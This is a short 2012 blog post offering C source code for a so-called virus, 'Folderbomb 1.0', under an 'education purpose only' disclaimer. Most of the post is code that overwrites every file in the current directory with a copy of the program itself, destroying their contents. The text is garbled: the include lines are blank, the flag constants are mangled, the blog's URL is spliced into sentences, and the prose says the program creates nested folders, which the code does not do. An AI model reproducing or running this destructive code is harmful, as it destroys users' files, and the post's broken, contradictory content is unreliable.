Thursday, February 2, 2012

How to be Easily Create a Virus Using C Programming



This is a simple program to create a virus in clinktowhy.blogspot.com
It will create Folder in a Folder in a Folder and so on ......
You Have Simply Done These Step Open the C compilerlinktowhy.blogspot.com
and Copy the Whole Programming Given in below side
and save this file in linktowhy.c name....that itlinktowhy.blogspot.com
 linktowhy.blogspot.com
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Note: This Coding Only used for Education purpose Only..........Try at your Own Risklinktowhy.blogspot.com

No comments:

Post a Comment